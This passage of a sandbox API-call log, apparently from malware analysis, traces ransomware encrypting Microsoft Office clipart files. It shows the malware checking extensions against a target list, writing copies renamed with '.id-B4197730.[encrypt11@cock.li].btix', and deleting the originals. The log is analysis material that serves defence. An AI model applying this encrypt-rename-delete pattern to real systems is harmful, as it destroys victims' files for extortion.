(lpString1=".7z", lpString2="WMF") returned -1 [0159.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0159.344] lstrlenW (lpString=".dbf") returned 4 [0159.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0159.344] lstrlenW (lpString=".1cd") returned 4 [0159.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0237759.WMF") returned 68 [0159.344] lstrlenW (lpString=".jpg") returned 4 [0159.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.345] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.345] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.346] GetLastError () returned 0x0 [0159.346] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x59a0, lpOverlapped=0x0) returned 1 [0159.366] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x59b0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x59b0, lpOverlapped=0x0) returned 1 [0159.367] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.367] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.367] SetEndOfFile (hFile=0x368) returned 1 [0159.367] CloseHandle (hObject=0x368) returned 1 [0159.367] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.368] SetEndOfFile (hFile=0x3a4) returned 1 [0159.368] CloseHandle (hObject=0x3a4) returned 1 [0159.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.369] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238333.wmf")) returned 1 [0159.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0159.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0159.369] lstrlenW (lpString=".doc") returned 4 [0159.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.369] lstrlenW (lpString=".docx") returned 5 [0159.369] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.369] lstrlenW (lpString=".pdf") returned 4 [0159.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.369] lstrlenW (lpString=".xls") returned 4 [0159.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.369] lstrlenW (lpString=".xlsx") returned 5 [0159.370] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.370] lstrlenW (lpString=".ppt") returned 4 [0159.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0159.370] lstrlenW (lpString=".zip") returned 4 [0159.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.370] lstrlenW (lpString=".rar") returned 4 [0159.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.370] lstrlenW (lpString=".bz2") returned 4 [0159.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.370] lstrlenW (lpString=".7z") returned 3 [0159.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0159.370] lstrlenW (lpString=".dbf") returned 4 [0159.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0159.370] lstrlenW (lpString=".1cd") returned 4 [0159.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238333.WMF") returned 68 [0159.370] lstrlenW (lpString=".jpg") returned 4 [0159.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.371] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.371] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.372] GetLastError () returned 0x0 [0159.372] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1334, lpOverlapped=0x0) returned 1 [0159.373] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1340, lpOverlapped=0x0) returned 1 [0159.374] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.374] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.374] SetEndOfFile (hFile=0x368) returned 1 [0159.374] CloseHandle (hObject=0x368) returned 1 [0159.374] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.374] SetEndOfFile (hFile=0x3a4) returned 1 [0159.375] CloseHandle (hObject=0x3a4) returned 1 [0159.375] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.375] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238927.wmf")) returned 1 [0159.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0159.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0159.376] lstrlenW (lpString=".doc") returned 4 [0159.376] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.376] lstrlenW (lpString=".docx") returned 5 [0159.376] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0159.376] lstrlenW (lpString=".pdf") returned 4 [0159.376] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.376] lstrlenW (lpString=".xls") returned 4 [0159.376] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.376] lstrlenW (lpString=".xlsx") returned 5 [0159.376] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0159.376] lstrlenW (lpString=".ppt") returned 4 [0159.376] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0159.376] lstrlenW (lpString=".zip") returned 4 [0159.376] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.376] lstrlenW (lpString=".rar") returned 4 [0159.376] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.376] lstrlenW (lpString=".bz2") returned 4 [0159.376] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.376] lstrlenW (lpString=".7z") returned 3 [0159.377] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0159.377] lstrlenW (lpString=".dbf") returned 4 [0159.377] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0159.377] lstrlenW (lpString=".1cd") returned 4 [0159.377] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238927.WMF") returned 68 [0159.377] lstrlenW (lpString=".jpg") returned 4 [0159.377] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.378] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.378] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.378] GetLastError () returned 0x0 [0159.378] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x1d3c, lpOverlapped=0x0) returned 1 [0159.380] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x1d40, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x1d40, lpOverlapped=0x0) returned 1 [0159.381] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.381] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.381] SetEndOfFile (hFile=0x368) returned 1 [0159.381] CloseHandle (hObject=0x368) returned 1 [0159.381] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.381] SetEndOfFile (hFile=0x3a4) returned 1 [0159.382] CloseHandle (hObject=0x3a4) returned 1 [0159.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.382] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238959.wmf")) returned 1 [0159.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0159.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0159.383] lstrlenW (lpString=".doc") returned 4 [0159.383] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.383] lstrlenW (lpString=".docx") returned 5 [0159.383] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0159.383] lstrlenW (lpString=".pdf") returned 4 [0159.383] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.383] lstrlenW (lpString=".xls") returned 4 [0159.383] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.383] lstrlenW (lpString=".xlsx") returned 5 [0159.383] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0159.383] lstrlenW (lpString=".ppt") returned 4 [0159.383] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0159.383] lstrlenW (lpString=".zip") returned 4 [0159.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.383] lstrlenW (lpString=".rar") returned 4 [0159.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.383] lstrlenW (lpString=".bz2") returned 4 [0159.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.383] lstrlenW (lpString=".7z") returned 3 [0159.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0159.384] lstrlenW (lpString=".dbf") returned 4 [0159.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0159.384] lstrlenW (lpString=".1cd") returned 4 [0159.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238959.WMF") returned 68 [0159.384] lstrlenW (lpString=".jpg") returned 4 [0159.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.384] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.384] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.385] GetLastError () returned 0x0 [0159.385] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x13b8, lpOverlapped=0x0) returned 1 [0159.637] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x13c0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x13c0, lpOverlapped=0x0) returned 1 [0159.639] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.639] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.639] SetEndOfFile (hFile=0x368) returned 1 [0159.639] CloseHandle (hObject=0x368) returned 1 [0159.639] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.639] SetEndOfFile (hFile=0x3a4) returned 1 [0159.640] CloseHandle (hObject=0x3a4) returned 1 [0159.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0238983.wmf")) returned 1 [0159.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0159.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0159.648] lstrlenW (lpString=".doc") returned 4 [0159.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.648] lstrlenW (lpString=".docx") returned 5 [0159.648] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.648] lstrlenW (lpString=".pdf") returned 4 [0159.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.648] lstrlenW (lpString=".xls") returned 4 [0159.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.648] lstrlenW (lpString=".xlsx") returned 5 [0159.648] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.648] lstrlenW (lpString=".ppt") returned 4 [0159.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0159.648] lstrlenW (lpString=".zip") returned 4 [0159.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.648] lstrlenW (lpString=".rar") returned 4 [0159.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.648] lstrlenW (lpString=".bz2") returned 4 [0159.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.648] lstrlenW (lpString=".7z") returned 3 [0159.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0159.648] lstrlenW (lpString=".dbf") returned 4 [0159.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0159.648] lstrlenW (lpString=".1cd") returned 4 [0159.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0238983.WMF") returned 68 [0159.648] lstrlenW (lpString=".jpg") returned 4 [0159.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.649] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.649] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0159.650] GetLastError () returned 0x0 [0159.650] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x13e8, lpOverlapped=0x0) returned 1 [0159.652] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x13f0, lpOverlapped=0x0) returned 1 [0159.653] ReadFile (in: hFile=0x3a4, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.653] WriteFile (in: hFile=0x368, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0159.653] SetEndOfFile (hFile=0x368) returned 1 [0159.654] CloseHandle (hObject=0x368) returned 1 [0159.654] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.654] SetEndOfFile (hFile=0x3a4) returned 1 [0159.654] CloseHandle (hObject=0x3a4) returned 1 [0159.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239973.wmf")) returned 1 [0159.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0159.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0159.655] lstrlenW (lpString=".doc") returned 4 [0159.655] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0159.655] lstrlenW (lpString=".docx") returned 5 [0159.655] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0159.656] lstrlenW (lpString=".pdf") returned 4 [0159.656] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0159.656] lstrlenW (lpString=".xls") returned 4 [0159.656] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0159.656] lstrlenW (lpString=".xlsx") returned 5 [0159.656] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0159.656] lstrlenW (lpString=".ppt") returned 4 [0159.656] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0159.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0159.656] lstrlenW (lpString=".zip") returned 4 [0159.656] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0159.656] lstrlenW (lpString=".rar") returned 4 [0159.656] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0159.656] lstrlenW (lpString=".bz2") returned 4 [0159.656] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0159.656] lstrlenW (lpString=".7z") returned 3 [0159.656] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0159.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0159.656] lstrlenW (lpString=".dbf") returned 4 [0159.656] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0159.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0159.656] lstrlenW (lpString=".1cd") returned 4 [0159.656] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0159.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239973.WMF") returned 68 [0159.656] lstrlenW (lpString=".jpg") returned 4 [0159.656] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0159.664] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.664] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0239975.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0239975.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0159.666] GetLastError () returned 0x0 [0159.666] ReadFile (in: hFile=0x380, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0xda0, lpOverlapped=0x0) returned 1 [0159.685] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xdb0, 